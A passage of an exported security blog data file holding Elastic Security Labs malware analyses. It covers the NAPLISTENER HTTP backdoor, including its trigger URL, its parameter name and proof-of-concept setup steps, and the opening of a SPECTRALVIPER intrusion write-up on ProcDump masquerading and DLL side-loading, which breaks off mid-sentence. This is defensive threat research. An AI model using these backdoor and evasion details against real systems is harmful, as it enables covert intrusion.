Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"NAPLISTENER: more bad dreams from developers of SIESTAGRAPH","slug":"naplistener-more-bad-dreams-from-the-developers-of-siestagraph","date":"2023-06-27","description":"Elastic Security Labs observes that the threat behind SIESTAGRAPH has shifted priorities from data theft to persistent access, deploying new malware like NAPLISTENER to evade detection.","image":"blog-thumb-filtered-lens.jpg","tags":["malware analysis","naplisitener","siestagraph"],"body":{"raw":"\n### Introduction\n\nWhile continuing to monitor the [REF2924](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry) activity group, Elastic Security Labs observed that the attacker shifted priorities from data theft to persistent access using several mechanisms. On January 20, 2023, a new executable `Wmdtc.exe` was created and installed as a Windows Service using a naming convention similar to the legitimate binary used by the Microsoft Distributed Transaction Coordinator service ( `Msdtc.exe` ).\n\n`Wmdtc.exe` is an HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. _Notably, network- and log-based detection methods are common in the regions where this threat is primarily active (southern and southeastern asia)._\n\n### Analysis\n\nThis unique malware sample contains a C# class called `MsEXGHealthd` that consists of three methods: `Main` , `SetRespHeader` , and `Listener`. This class establishes an HTTP request listener that can process incoming requests from the Internet, and respond accordingly by filtering malware commands and transparently passing along legitimate web traffic. This class is depicted in the following image:\n\n![NAPLISTENER MsEXGHealthd class](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image3.jpg)\n\n### Malware analysis\n\nThe `Main` method is invoked when the program runs and creates a thread object, which will be used by the `Listener` method. The thread is then put to sleep for 0 milliseconds, and then started. Implementing a sleep capability is consistent with SIESTAGRAPH, NAPLISTENER, and other malware developed or used by this group.\n\nThe `SetRespHeader` method sets the response headers for the HTTP response. It takes an `HttpListenerResponse` object as a parameter and defines headers such as `Server` , `Content-Type` , and `X-Powered-By`. In one aggressively-targeted victim environment, the IIS web server returns a 404 response with a `Server` header containing `Microsoft-IIS/10.0` as seen below, unless specific parameters are present:\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image6.jpg)\n\nHowever, the 404 error when requesting the listener URI adds `Content-Type: text/html; charset=utf-8` as an extra header. When NAPLISTENER is installed, the string `Microsoft-HTTPAPI/2.0` is appended to the Server header. This behavior makes the listener detectable and does not generate a 404 error. It is likely this filtering methodology was chosen to avoid discovery by web scanners and similar technologies.\n\nDefenders may instinctively search for these errors in IIS web server logs, but the NAPLISTENER implant functions inline and Windows will redirect these requests to the registered application, allowing the malware to ensure those errors never reach the web server logs where analysts may see them. Additionally, security tools that ingest web server logs will not have an opportunity to identify these behaviors.\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image5.jpg)\n\nThe `Listener` method is where most of the work happens for NAPLISTENER.\n\nFirst, this method creates an `HttpListener` object to handle incoming requests. If `HttpListener` is supported on the platform being used (which it should be), it adds a prefix to the listener and starts it.\n\nOnce running, it waits for incoming requests. When a request comes in, it reads any data that was submitted (stored in a `Form` field), decodes it from Base64 format, and creates a new `HttpRequest` object with the decoded data. It creates an `HttpResponse` object and an `HttpContext` object, using these two objects as parameters. If the submitted Form field contains `sdafwe3rwe23` , it will try to create an assembly object and execute it using the `Run` method.\n\nThis means that any web request to `/ews/MsExgHealthCheckd/` that contains a base64-encoded .NET assembly in the `sdafwe3rwe23` parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.\n\nIf that fails for some reason (e.g., invalid or missing data), then a \"404 Not Found\" response will be sent with an empty body instead . After either response has been sent, the stream is flushed and the connection closed before looping back to wait for more incoming requests.\n\n### Proof-of-concept prerequisites\n\n_Attention: Please remember that this is meant as a proof-of-concept to illustrate how NAPLISTENER must be prepared for a target environment: it should not be deployed in production environments for any reason._\n\nIn order to properly run NAPLISTENER, an SSL certificate must be generated and the application registered to use it on a target endpoint. A general example of generating a self-signed certificate resembles the following commands:\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image7.jpg)\n\nThe adversary needs to then Import the `certificate.pfx` object into the windows certificate store, as depicted in the following image:\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image2.jpg)\n\nEach certificate contains a thumbprint, and the following screen capture depicts an example certificate:\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image1.jpg)\n\nThe thumbprint value is necessary to register the application as seen in the following command:\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/Screenshot_2023-03-19_at_3.14.31_PM.jpg)\n\nThe adversary needs to replace the `certhash` value with the thumbprint from their certificate. The `appid` is the GUID of the sample application ID. Once the environment is properly configured, the sample can be run from any privileged terminal.\n\nThe following python script created by Elastic Security Labs demonstrates one method that can then be used to trigger NAPLISTENER. The payload in this example is truncated for readability, and may be released at a later time when the industry has better ability to detect this methodology.\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/Screenshot_2023-03-19_at_3.15.37_PM.jpg)\n\nIn our PoC, running the python script results in a harmless instance of `calc.exe`.\n\n![](/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image4.jpg)\n\n### Resources\n\nElastic Security Labs has published a NAPLISTENER signature to the open protections artifact repository [here](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_NapListener.yar).\n\n### Sources\n\nCode similarity analyses are an important part of our process. During our investigation of NAPLISTENER, we identified a public [GitHub repository](https://github.com/A-D-Team/SharpMemshell/blob/main/HttpListener/memshell.cs) that contains a similar project. Similar logic and identical debugging strings are present in both pieces of code, and we assess that `SharpMemshell` may have inspired the threat responsible for NAPLISTENER.\n\n### Key takeaways\n\n- The attacker has shifted their focus from data theft to establishing persistent access using new malware including NAPLISTENER, an HTTP listener written in C#\n- NAPLISTENER creates an HTTP request listener that can process incoming requests from the internet, reads any data that was submitted, decodes it from Base64 format, and executes it in memory\n- NAPLISTENER is designed to evade network-based detection methods by behaving similarly to web servers\n- The attacker relies on code present in public repositories for a variety of purposes, and may be developing additional prototypes and production-quality code from open sources\n","code":"var Component=(()=\u003e{var l=Object.create;var n=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var u=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var r in e)n(i,r,{get:e[r],enumerable:!0})},o=(i,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of m(e))!f.call(i,s)\u0026\u0026s!==r\u0026\u0026n(i,s,{get:()=\u003ee[s],enumerable:!(a=p(e,s))||a.enumerable});return i};var w=(i,e,r)=\u003e(r=i!=null?l(g(i)):{},o(e||!i||!i.__esModule?n(r,\"default\",{value:i,enumerable:!0}):r,i)),y=i=\u003eo(n({},\"__esModule\",{value:!0}),i);var h=u((N,d)=\u003e{d.exports=_jsx_runtime});var I={};b(I,{default:()=\u003eE,frontmatter:()=\u003ev});var t=w(h()),v={title:\"NAPLISTENER: more bad dreams from developers of SIESTAGRAPH\",slug:\"naplistener-more-bad-dreams-from-the-developers-of-siestagraph\",date:\"2023-06-27\",description:\"Elastic Security Labs observes that the threat behind SIESTAGRAPH has shifted priorities from data theft to persistent access, deploying new malware like NAPLISTENER to evade detection.\",author:[{slug:\"remco-sprooten\"}],image:\"blog-thumb-filtered-lens.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware analysis\",\"naplisitener\",\"siestagraph\"]};function c(i){let e=Object.assign({h3:\"h3\",p:\"p\",a:\"a\",code:\"code\",em:\"em\",img:\"img\",ul:\"ul\",li:\"li\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h3,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"While continuing to monitor the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\",rel:\"nofollow\",children:\"REF2924\"}),\" activity group, Elastic Security Labs observed that the attacker shifted priorities from data theft to persistent access using several mechanisms. On January 20, 2023, a new executable \",(0,t.jsx)(e.code,{children:\"Wmdtc.exe\"}),\" was created and installed as a Windows Service using a naming convention similar to the legitimate binary used by the Microsoft Distributed Transaction Coordinator service ( \",(0,t.jsx)(e.code,{children:\"Msdtc.exe\"}),\" ).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:\"Wmdtc.exe\"}),\" is an HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. \",(0,t.jsx)(e.em,{children:\"Notably, network- and log-based detection methods are common in the regions where this threat is primarily active (southern and southeastern asia).\"})]}),`\n`,(0,t.jsx)(e.h3,{id:\"analysis\",children:\"Analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This unique malware sample contains a C# class called \",(0,t.jsx)(e.code,{children:\"MsEXGHealthd\"}),\" that consists of three methods: \",(0,t.jsx)(e.code,{children:\"Main\"}),\" , \",(0,t.jsx)(e.code,{children:\"SetRespHeader\"}),\" , and \",(0,t.jsx)(e.code,{children:\"Listener\"}),\". This class establishes an HTTP request listener that can process incoming requests from the Internet, and respond accordingly by filtering malware commands and transparently passing along legitimate web traffic. This class is depicted in the following image:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image3.jpg\",alt:\"NAPLISTENER MsEXGHealthd class\",width:\"1333\",height:\"719\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"malware-analysis\",children:\"Malware analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"Main\"}),\" method is invoked when the program runs and creates a thread object, which will be used by the \",(0,t.jsx)(e.code,{children:\"Listener\"}),\" method. The thread is then put to sleep for 0 milliseconds, and then started. Implementing a sleep capability is consistent with SIESTAGRAPH, NAPLISTENER, and other malware developed or used by this group.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"SetRespHeader\"}),\" method sets the response headers for the HTTP response. It takes an \",(0,t.jsx)(e.code,{children:\"HttpListenerResponse\"}),\" object as a parameter and defines headers such as \",(0,t.jsx)(e.code,{children:\"Server\"}),\" , \",(0,t.jsx)(e.code,{children:\"Content-Type\"}),\" , and \",(0,t.jsx)(e.code,{children:\"X-Powered-By\"}),\". In one aggressively-targeted victim environment, the IIS web server returns a 404 response with a \",(0,t.jsx)(e.code,{children:\"Server\"}),\" header containing \",(0,t.jsx)(e.code,{children:\"Microsoft-IIS/10.0\"}),\" as seen below, unless specific parameters are present:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image6.jpg\",alt:\"\",width:\"918\",height:\"208\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"However, the 404 error when requesting the listener URI adds \",(0,t.jsx)(e.code,{children:\"Content-Type: text/html; charset=utf-8\"}),\" as an extra header. When NAPLISTENER is installed, the string \",(0,t.jsx)(e.code,{children:\"Microsoft-HTTPAPI/2.0\"}),\" is appended to the Server header. This behavior makes the listener detectable and does not generate a 404 error. It is likely this filtering methodology was chosen to avoid discovery by web scanners and similar technologies.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Defenders may instinctively search for these errors in IIS web server logs, but the NAPLISTENER implant functions inline and Windows will redirect these requests to the registered application, allowing the malware to ensure those errors never reach the web server logs where analysts may see them. Additionally, security tools that ingest web server logs will not have an opportunity to identify these behaviors.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image5.jpg\",alt:\"\",width:\"918\",height:\"208\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"Listener\"}),\" method is where most of the work happens for NAPLISTENER.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"First, this method creates an \",(0,t.jsx)(e.code,{children:\"HttpListener\"}),\" object to handle incoming requests. If \",(0,t.jsx)(e.code,{children:\"HttpListener\"}),\" is supported on the platform being used (which it should be), it adds a prefix to the listener and starts it.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once running, it waits for incoming requests. When a request comes in, it reads any data that was submitted (stored in a \",(0,t.jsx)(e.code,{children:\"Form\"}),\" field), decodes it from Base64 format, and creates a new \",(0,t.jsx)(e.code,{children:\"HttpRequest\"}),\" object with the decoded data. It creates an \",(0,t.jsx)(e.code,{children:\"HttpResponse\"}),\" object and an \",(0,t.jsx)(e.code,{children:\"HttpContext\"}),\" object, using these two objects as parameters. If the submitted Form field contains \",(0,t.jsx)(e.code,{children:\"sdafwe3rwe23\"}),\" , it will try to create an assembly object and execute it using the \",(0,t.jsx)(e.code,{children:\"Run\"}),\" method.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This means that any web request to \",(0,t.jsx)(e.code,{children:\"/ews/MsExgHealthCheckd/\"}),\" that contains a base64-encoded .NET assembly in the \",(0,t.jsx)(e.code,{children:\"sdafwe3rwe23\"}),\" parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.\"]}),`\n`,(0,t.jsx)(e.p,{children:'If that fails for some reason (e.g., invalid or missing data), then a \"404 Not Found\" response will be sent with an empty body instead . After either response has been sent, the stream is flushed and the connection closed before looping back to wait for more incoming requests.'}),`\n`,(0,t.jsx)(e.h3,{id:\"proof-of-concept-prerequisites\",children:\"Proof-of-concept prerequisites\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Attention: Please remember that this is meant as a proof-of-concept to illustrate how NAPLISTENER must be prepared for a target environment: it should not be deployed in production environments for any reason.\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In order to properly run NAPLISTENER, an SSL certificate must be generated and the application registered to use it on a target endpoint. A general example of generating a self-signed certificate resembles the following commands:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image7.jpg\",alt:\"\",width:\"1360\",height:\"172\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The adversary needs to then Import the \",(0,t.jsx)(e.code,{children:\"certificate.pfx\"}),\" object into the windows certificate store, as depicted in the following image:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image2.jpg\",alt:\"\",width:\"1256\",height:\"436\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Each certificate contains a thumbprint, and the following screen capture depicts an example certificate:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image1.jpg\",alt:\"\",width:\"792\",height:\"730\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The thumbprint value is necessary to register the application as seen in the following command:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/Screenshot_2023-03-19_at_3.14.31_PM.jpg\",alt:\"\",width:\"824\",height:\"96\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The adversary needs to replace the \",(0,t.jsx)(e.code,{children:\"certhash\"}),\" value with the thumbprint from their certificate. The \",(0,t.jsx)(e.code,{children:\"appid\"}),\" is the GUID of the sample application ID. Once the environment is properly configured, the sample can be run from any privileged terminal.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following python script created by Elastic Security Labs demonstrates one method that can then be used to trigger NAPLISTENER. The payload in this example is truncated for readability, and may be released at a later time when the industry has better ability to detect this methodology.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/Screenshot_2023-03-19_at_3.15.37_PM.jpg\",alt:\"\",width:\"824\",height:\"442\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our PoC, running the python script results in a harmless instance of \",(0,t.jsx)(e.code,{children:\"calc.exe\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image4.jpg\",alt:\"\",width:\"1406\",height:\"766\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"resources\",children:\"Resources\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security Labs has published a NAPLISTENER signature to the open protections artifact repository \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_NapListener.yar\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"sources\",children:\"Sources\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Code similarity analyses are an important part of our process. During our investigation of NAPLISTENER, we identified a public \",(0,t.jsx)(e.a,{href:\"https://github.com/A-D-Team/SharpMemshell/blob/main/HttpListener/memshell.cs\",rel:\"nofollow\",children:\"GitHub repository\"}),\" that contains a similar project. Similar logic and identical debugging strings are present in both pieces of code, and we assess that \",(0,t.jsx)(e.code,{children:\"SharpMemshell\"}),\" may have inspired the threat responsible for NAPLISTENER.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The attacker has shifted their focus from data theft to establishing persistent access using new malware including NAPLISTENER, an HTTP listener written in C#\"}),`\n`,(0,t.jsx)(e.li,{children:\"NAPLISTENER creates an HTTP request listener that can process incoming requests from the internet, reads any data that was submitted, decodes it from Base64 format, and executes it in memory\"}),`\n`,(0,t.jsx)(e.li,{children:\"NAPLISTENER is designed to evade network-based detection methods by behaving similarly to web servers\"}),`\n`,(0,t.jsx)(e.li,{children:\"The attacker relies on code present in public repositories for a variety of purposes, and may be developing additional prototypes and production-quality code from open sources\"}),`\n`]})]})}function T(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(c,i)})):c(i)}var E=T;return y(I);})();\n;return Component;"},"_id":"articles/naplistener-more-bad-dreams-from-the-developers-of-siestagraph.mdx","_raw":{"sourceFilePath":"articles/naplistener-more-bad-dreams-from-the-developers-of-siestagraph.mdx","sourceFileName":"naplistener-more-bad-dreams-from-the-developers-of-siestagraph.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/naplistener-more-bad-dreams-from-the-developers-of-siestagraph"},"type":"Article","imageUrl":"/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/blog-thumb-filtered-lens.jpg","readingTime":"6 min read","series":"","url":"/naplistener-more-bad-dreams-from-the-developers-of-siestagraph","headings":[{"level":3,"title":"Introduction","href":"#introduction"},{"level":3,"title":"Analysis","href":"#analysis"},{"level":3,"title":"Malware analysis","href":"#malware-analysis"},{"level":3,"title":"Proof-of-concept prerequisites","href":"#proof-of-concept-prerequisites"},{"level":3,"title":"Resources","href":"#resources"},{"level":3,"title":"Sources","href":"#sources"},{"level":3,"title":"Key takeaways","href":"#key-takeaways"}],"author":[{"title":"Remco Sprooten","slug":"remco-sprooten","description":"Elastic Security Labs Team Senior Research Engineer","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!l.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=p(e,o))||a.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var m=_((D,i)=\u003e{i.exports=_jsx_runtime});var y={};d(y,{default:()=\u003eh,frontmatter:()=\u003eS});var r=j(m()),S={title:\"Remco Sprooten\",description:\"Elastic Security Labs Team Senior Research Engineer\",slug:\"remco-sprooten\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function b(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=b;return M(y);})();\n;return Component;"},"_id":"authors/remco-sprooten.mdx","_raw":{"sourceFilePath":"authors/remco-sprooten.mdx","sourceFileName":"remco-sprooten.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/remco-sprooten"},"type":"Author","imageUrl":"","url":"/authors/remco-sprooten"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Elastic charms SPECTRALVIPER","slug":"elastic-charms-spectralviper","date":"2023-06-09","description":"Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups.","image":"photo-edited-10@2x.jpg","subtitle":"Elastic Security Labs has discovered the SPECTRALVIPER malware targeting a national Vietnamese agribusiness.","tags":["ref2754","spectralviper","p8loader","powerseal"],"body":{"raw":"\n## Key takeaways\n\n- The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners\n- SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities\n- We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor\n\n## Preamble\n\nElastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.\n\nThis research discusses:\n\n- The SPECTRALVIPER malware\n- The P8LOADER malware loader\n- The POWERSEAL malware\n- Campaign and intrusion analysis of REF2754\n\n## Execution flow\n\nThe first event recorded was the creation of a file (**C:\\Users\\Public\\Libraries\\dbg.config)** by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( **windbg.exe** ). Using the renamed ProcDump application with the **-md** flag, the adversary loaded **dbg.config** , an unsigned DLL containing malicious code.\n\nIt should be noted, the ProcDump LOLBAS [technique](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/) requires a valid process in the arguments; so while **winlogon.exe** is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.\n\n![ProcDump masquerading as WinDbg.exe](/assets/images/elastic-charms-spectralviper/image22.jpg)\n\nThe unsigned DLL (**dbg.config)** contained DONUTLOADER shellcode which it attempted to inject into **sessionmsg.exe** , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.\n\n![REF2754 execution flow](/assets/images/elastic-charms-spectralviper/image16.png)\n\nOur team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( **ExtExport.exe** ) to load a DLL, while another technique involved side-loading a malicious DLL ( **dnsapi.dll** ) using a legitimate application ( **nslookup.exe** ).\n\nThese techniques and malware families make up the REF2754 intrusion set.\n\n## SPECTRALVIPER code analysis\n\n### Overview\n\nDuring our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It 